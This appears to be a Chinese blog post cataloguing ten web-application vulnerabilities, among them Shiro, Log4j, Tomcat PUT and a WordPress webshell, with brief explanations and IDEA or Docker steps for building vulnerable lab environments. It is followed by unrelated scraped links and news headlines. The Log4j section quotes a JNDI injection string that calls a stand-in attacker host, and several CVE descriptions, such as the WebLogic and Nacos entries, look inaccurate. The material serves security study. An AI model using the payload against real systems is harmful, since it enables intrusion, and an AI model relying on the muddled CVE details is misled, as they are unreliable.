当前位置: 首页 > news >正文

漏洞复现清单整理-预备梳理,等待补充

Java漏洞复现清单及环境搭建指南(含IDEA与Docker方法)

1. Shiro反序列化漏洞 (CVE-2016-4437/CVE-2020-1957)
  • 漏洞原理
    Apache Shiro在1.2.4及以下版本中,默认使用硬编码的AES密钥进行rememberMe Cookie的加密与解密。攻击者可构造恶意序列化数据,通过rememberMe字段触发反序列化漏洞,执行任意代码。
  • 环境搭建
    • IDEA搭建
      1. 下载shiro-root-1.2.4源码,通过IDEA导入Maven项目。
      2. 修改pom.xml,添加依赖:
        <dependency><groupId>javax.servlet</groupId><artifactId>jstl</artifactId><version>1.2</version>
        </dependency>
        <dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version>
        </dependency>
        
      3. 配置Tomcat服务器,运行项目。
    • Docker搭建
      git clone https://github.com/whgojp/JavaSecLab.git
      cd JavaSecLab
      mvn clean package -DskipTests
      docker-compose -p javaseclab up -d
      
      若因网络问题无法使用Docker,可使用预配置的Vmware虚拟机镜像,启动后执行以下命令:
      sudo docker start c27a2ccdc2c7
      sudo docker start 31ec50ea1ef8
      
2. Log4j远程代码执行 (CVE-2021-44228)
  • 漏洞原理
    Log4j 2在解析日志消息时,支持通过JNDI查询动态加载资源(如LDAP、RMI)。攻击者构造恶意日志消息(如${jndi:ldap://attacker.com/Exploit}),触发JNDI注入,导致远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 创建Spring Boot项目,添加Log4j 2依赖:
        <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
        
      2. 修改log4j2.xml,启用JNDI查询。
      3. 编写测试代码,记录包含恶意JNDI查询的日志。
    • Docker搭建
      docker run -p 8080:8080 vulfocus/log4j2-rce-demo
      
3. Nacos未授权配置管理漏洞 (CVE-2023-37280)
  • 漏洞原理
    Nacos在特定版本中,未对配置管理接口进行身份验证,攻击者可直接访问或修改配置,导致敏感信息泄露或恶意配置注入。
  • 环境搭建
    • IDEA搭建
      1. 下载Nacos源码,修改application.properties,设置nacos.core.auth.enabled=false
      2. 使用IDEA启动Nacos主程序。
    • Docker搭建
      docker run -d -p 8848:8848 --name nacos-standalone -e MODE=standalone nacos/nacos-server:2.0.0-ALPHA.1
      
4. Spring Boot Actuator未授权访问
  • 漏洞原理
    Spring Boot Actuator提供了监控与管理端点(如/actuator/env/actuator/heapdump)。若未配置访问权限,攻击者可直接访问敏感信息或执行恶意操作。
  • 环境搭建
    • IDEA搭建
      1. 克隆项目:
        git clone https://github.com/callicoder/spring-boot-actuator-demo.git
        cd spring-boot-actuator-demo
        
      2. 修改application.properties,暴露所有端点:
        management.endpoints.web.exposure.include=*
        
      3. 使用IDEA启动项目。
    • Docker搭建
      docker run -p 8080:8080 callicoder/spring-boot-actuator-demo
      
5. Swagger接口泄露漏洞
  • 漏洞原理
    Swagger UI暴露在公网且未进行访问控制,攻击者可查看API文档并直接调用敏感接口(如用户管理、数据导出等)。
  • 环境搭建
    • IDEA搭建
      1. 创建Spring Boot项目,添加Swagger依赖:
        <dependency><groupId>io.springfox</groupId><artifactId>springfox-boot-starter</artifactId><version>3.0.0</version>
        </dependency>
        
      2. 编写配置类,启用Swagger UI。
      3. 使用IDEA启动项目。
    • Docker搭建
      docker run -d -p 8080:8080 swaggerapi/swagger-ui
      
6. JBoss反序列化漏洞 (CVE-2017-12149)
  • 漏洞原理
    JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器未对输入进行安全检查,导致反序列化漏洞。攻击者可构造恶意序列化数据,触发远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 下载JBoss源码,修改web.xml,启用HttpInvoker服务。
      2. 使用IDEA启动JBoss主程序。
    • Docker搭建
      docker run -d -p 8080:8080 -p 9990:9990 jboss/wildfly
      
7. Tomcat任意文件写入漏洞 (CVE-2017-12615)
  • 漏洞原理
    Tomcat在Windows上启用HTTP PUT请求方法时,攻击者可上传恶意JSP文件,执行任意代码。
  • 环境搭建
    • IDEA搭建
      1. 下载Tomcat源码,修改web.xml,启用PUT方法。
      2. 使用IDEA启动Tomcat。
    • Docker搭建
      docker run -d -p 8080:8080 vulfocus/tomcat-cve-2017-12615
      
8. WebLogic反序列化漏洞 (CVE-2020-14882)
  • 漏洞原理
    WebLogic的T3协议在处理反序列化数据时存在缺陷,攻击者可构造恶意序列化数据,触发远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 下载WebLogic源码,修改config.xml,启用T3协议。
      2. 使用IDEA启动WebLogic主程序。
    • Docker搭建
      docker run -d -p 7001:7001 store/oracle/weblogic:12.2.1.4
      
9. ThinkPHP远程代码执行 (CVE-2018-20062)
  • 漏洞原理
    ThinkPHP框架在处理路由参数时,未对用户输入进行严格过滤,导致攻击者可构造恶意路由参数,触发远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 下载ThinkPHP源码,通过IDEA导入项目。
      2. 修改config/app.php,关闭路由安全验证。
      3. 使用IDEA启动PHP内置服务器。
    • Docker搭建
      docker run -d -p 8081:80 vulfocus/thinkphp:6.0.12
      
10. WordPress后台修改模板获取WebShell
  • 漏洞原理
    WordPress后台的模板编辑功能允许管理员直接修改PHP文件。若攻击者获取管理员权限,可通过修改模板文件植入WebShell,执行任意代码。
  • 环境搭建
    • IDEA搭建
      1. 下载WordPress源码,通过IDEA导入项目。
      2. 修改wp-config-sample.php,配置数据库连接信息,并重命名为wp-config.php
      3. 使用IDEA启动PHP内置服务器或配置外部服务器(如Apache/Nginx)。
    • Docker搭建
      docker run -d -p 80:80 -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress --link db:mysql wordpress
      docker run -d --name db -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=wordpress -e MYSQL_USER=wordpress -e MYSQL_PASSWORD=wordpress mysql:5.7
      

总结

  • 环境搭建
    • IDEA搭建:适合本地调试与代码审计,可深入理解漏洞原理与代码逻辑。
    • Docker搭建:适合快速复现漏洞,便于团队共享与自动化测试。
  • 在IDEA中使用
    • 启动项目:根据项目类型,运行main方法或配置服务器。
    • 调试与验证:使用调试工具(如IDEA内置调试器)和测试工具(如Postman、curl)验证漏洞。
    • 代码审计:结合漏洞原理,审计关键代码逻辑,理解漏洞触发条件。

通过掌握以上环境搭建方法,可高效复现与审计Java应用中的常见漏洞。

相关文章:

  • 多维驱动:负载均衡何以成为现代系统架构的基石
  • 网络爬取需谨慎:警惕迷宫陷阱
  • Ansible安装配置
  • 代发考试战报:4月份 思科认证,华为认证,考试战报分享
  • Twitter 工作原理|架构解析|社交APP逻辑
  • 洛谷题解 | CF1979C Earning on Bets
  • <Revit二次开发> 通过一组模型线构成墙面,并生成墙。Create(Document, IList.Curve., Boolean)
  • 以梦为舟,驶向中医传承新蓝海
  • 宾馆一次性拖鞋很重要,扬州卓韵酒店用品详细介绍其材质与卫生标准
  • Windows 系统下使用 Docker 搭建Redis 集群(6 节点,带密码)
  • (计数)洛谷 P8386 PA2021 Od deski do deski/P10375 AHOI2024 计数 题解
  • Java项目中使用minio存储服务
  • softlockup_panic=1配置方法及区别
  • 基于论文的大模型应用:基于SmartETL的arXiv论文数据接入与预处理(四)
  • 常见的 CSS 知识点整理
  • 实验七:基于89C51和DS18B20的温度采集与显示
  • 源码角度分析 sync.map
  • C++智能指针滥用带来的性能与内存问题有哪些
  • 阿里云bgp服务器优势有哪些?搭建bgp服务器怎么做?
  • Mangodb基本概念和介绍,Mango三个重要的概念:数据库,集合,文档
  • 俄宣布停火三天,外交部:希望各方继续通过对话谈判解决危机
  • 保利发展去年净利润约50亿元,在手现金1342亿元
  • 外交部:欢迎外国朋友“五一”来中国
  • 商务部:将积极会同相关部门加快推进离境退税政策落实落地
  • 专访|伊朗学者:美伊核谈不只是改革派立场,但伊朗不信任美国
  • 怎样更加贴近中国消费者,运动品牌给出“本地化”选择